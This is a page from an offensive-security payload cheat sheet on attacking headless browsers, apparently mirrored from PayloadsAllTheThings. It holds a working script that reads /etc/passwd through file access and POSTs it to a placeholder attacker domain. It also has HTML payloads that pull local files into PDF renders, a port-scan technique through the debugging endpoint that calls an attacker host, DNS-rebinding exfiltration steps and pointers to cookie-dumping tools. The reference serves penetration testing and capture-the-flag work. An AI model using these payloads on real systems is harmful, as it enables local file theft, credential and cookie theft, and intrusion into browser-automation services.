index.md (9699B)
1 --- 2 title: "Headless Browser" 3 topic: "Headless Browser" 4 topicSlug: "headless-browser" 5 sourcePath: "Headless Browser/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Headless%20Browser/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # Headless Browser 12 13 > A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals. 14 > Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited. 15 16 ## Summary 17 18 * [Headless Commands](#headless-commands) 19 * [Local File Read](#local-file-read) 20 * [Remote Debugging Port](#remote-debugging-port) 21 * [Network](#network) 22 * [Port Scanning](#port-scanning) 23 * [DNS Rebinding](#dns-rebinding) 24 * [CVE](#cve) 25 * [References](#references) 26 27 ## Headless Commands 28 29 Example of headless browsers commands: 30 31 * Google Chrome 32 33 ```ps1 34 google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com 35 ``` 36 37 * Mozilla Firefox 38 39 ```ps1 40 firefox --screenshot https://www.google.com 41 ``` 42 43 * Microsoft Edge 44 45 ```ps1 46 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com" 47 ``` 48 49 ## Local File Read 50 51 ### Insecure Flags 52 53 If the target is launched with the `--allow-file-access` option 54 55 ```ps1 56 google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir 57 ``` 58 59 Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file. 60 61 ```js 62 <script> 63 async function getFlag(){ 64 response = await fetch("file:///etc/passwd"); 65 flag = await response.text(); 66 fetch("https://[ATTACKER.DOMAIN.TLD]/", { method: "POST", body: flag}) 67 }; 68 getFlag(); 69 </script> 70 ``` 71 72 ### PDF Rendering 73 74 Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed. 75 76 Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html` 77 78 * Javascript Redirect 79 80 ```html 81 <html> 82 <body> 83 <script> 84 window.location="/etc/passwd" 85 </script> 86 </body> 87 </html> 88 ``` 89 90 * Iframe 91 92 ```html 93 <html> 94 <body> 95 <iframe src="/etc/passwd" height="640" width="640"></iframe> 96 </body> 97 </html> 98 ``` 99 100 ## Remote Debugging Port 101 102 The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`. 103 104 **Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html` 105 106 **Tools**: 107 108 * [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies 109 * [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header. 110 111 > [!NOTE] 112 > Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut. 113 114 **Exploits**: 115 116 * Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices` 117 * Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs 118 * Data stored in the settings (username, passwords, token): `chrome://settings` 119 * Port Scan: In a loop open `http://localhost:<port>/json/new?http://[ATTACKER.DOMAIN.TLD]/?port=<port>` 120 * Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version` 121 122 ```json 123 { 124 "Browser": "Chrome/136.0.7103.113", 125 "Protocol-Version": "1.3", 126 "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36", 127 "V8-Version": "13.6.233.10", 128 "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)", 129 "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87" 130 } 131 ``` 132 133 * Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05) 134 * Node inspector `--inspect` works like a `--remote-debugging-port` 135 136 ```ps1 137 node --inspect app.js # default port 9229 138 node --inspect=4444 app.js # custom port 4444 139 node --inspect=0.0.0.0:4444 app.js 140 ``` 141 142 Starting from Chrome 136, the switches `--remote-debugging-port` and `--remote-debugging-pipe` won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the `--user-data-dir` switch to point to a non-standard directory. 143 144 The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser. 145 146 ## Network 147 148 ### Port Scanning 149 150 Port Scanning: Timing attack 151 152 * Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror. 153 * Repeat at least 10 times → average time to get an error for a closed port 154 * Test random port 10 times and measure time to error 155 * If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened 156 157 **Consideration**: 158 159 * Chrome blocks by default a list of "known ports" 160 * Chrome blocks access to local network addresses except localhost through 0.0.0.0 161 162 ### DNS Rebinding 163 164 * [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework. 165 166 1. Chrome will make 2 DNS requests: `A` and `AAAA` records 167 * `AAAA` response with valid Internet IP 168 * `A` response with internal IP 169 2. Chrome will connect in priority to the IPv6 (evil.net) 170 3. Close IPv6 listener just after first response 171 4. Open Iframe to evil.net 172 5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4 173 6. From top window, inject script into iframe to exfiltrate content 174 175 ## CVE 176 177 Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process: 178 179 Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc. 180 181 * Chrome CVE: [2024-9122 - WASM type confusion due to imported tag signature subtyping](https://issues.chromium.org/issues/365802567), [CVE-2025-5419 - Out of bounds read and write in V8](https://nvd.nist.gov/vuln/detail/CVE-2025-5419) 182 * Firefox : [CVE-2024-9680 - Use after free](https://nvd.nist.gov/vuln/detail/CVE-2024-9680) 183 184 The `--no-sandbox` option disables the sandbox feature of the renderer process. 185 186 ```js 187 const browser = await puppeteer.launch({ 188 args: ['--no-sandbox'] 189 }); 190 ``` 191 192 ## References 193 194 * [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://web.archive.org/web/20210119151816/https://incolumitas.com/2021/01/10/browser-based-port-scanning/) 195 * [Changes to remote debugging switches to improve security - Will Harris - March 17, 2025](https://web.archive.org/web/20250328233439/https://developer.chrome.com/blog/remote-debugging-port) 196 * [Chrome DevTools Protocol - Documentation - July 3, 2017](https://web.archive.org/web/20170703201537/https://chromedevtools.github.io/devtools-protocol/) 197 * [Cookies with Chromium’s Remote Debugger Port - Justin Bui - December 17, 2020](https://web.archive.org/web/20201217170910/https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) 198 * [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - July 16, 2023](https://web.archive.org/web/20250911211108/https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) 199 * [Node inspector/CEF debug abuse - HackTricks - July 18, 2024](https://web.archive.org/web/20241230021023/https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse) 200 * [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - April 28, 2020](https://web.archive.org/web/20260215064320/https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) 201 * [Too Lazy to get XSS? Then use n-days to get RCE in the Admin bot - Jopraveen - March 2, 2025](https://web.archive.org/web/20250303031943/https://jopraveen.github.io/web-hackthebot/) 202 * [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://web.archive.org/web/20231206141057/https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)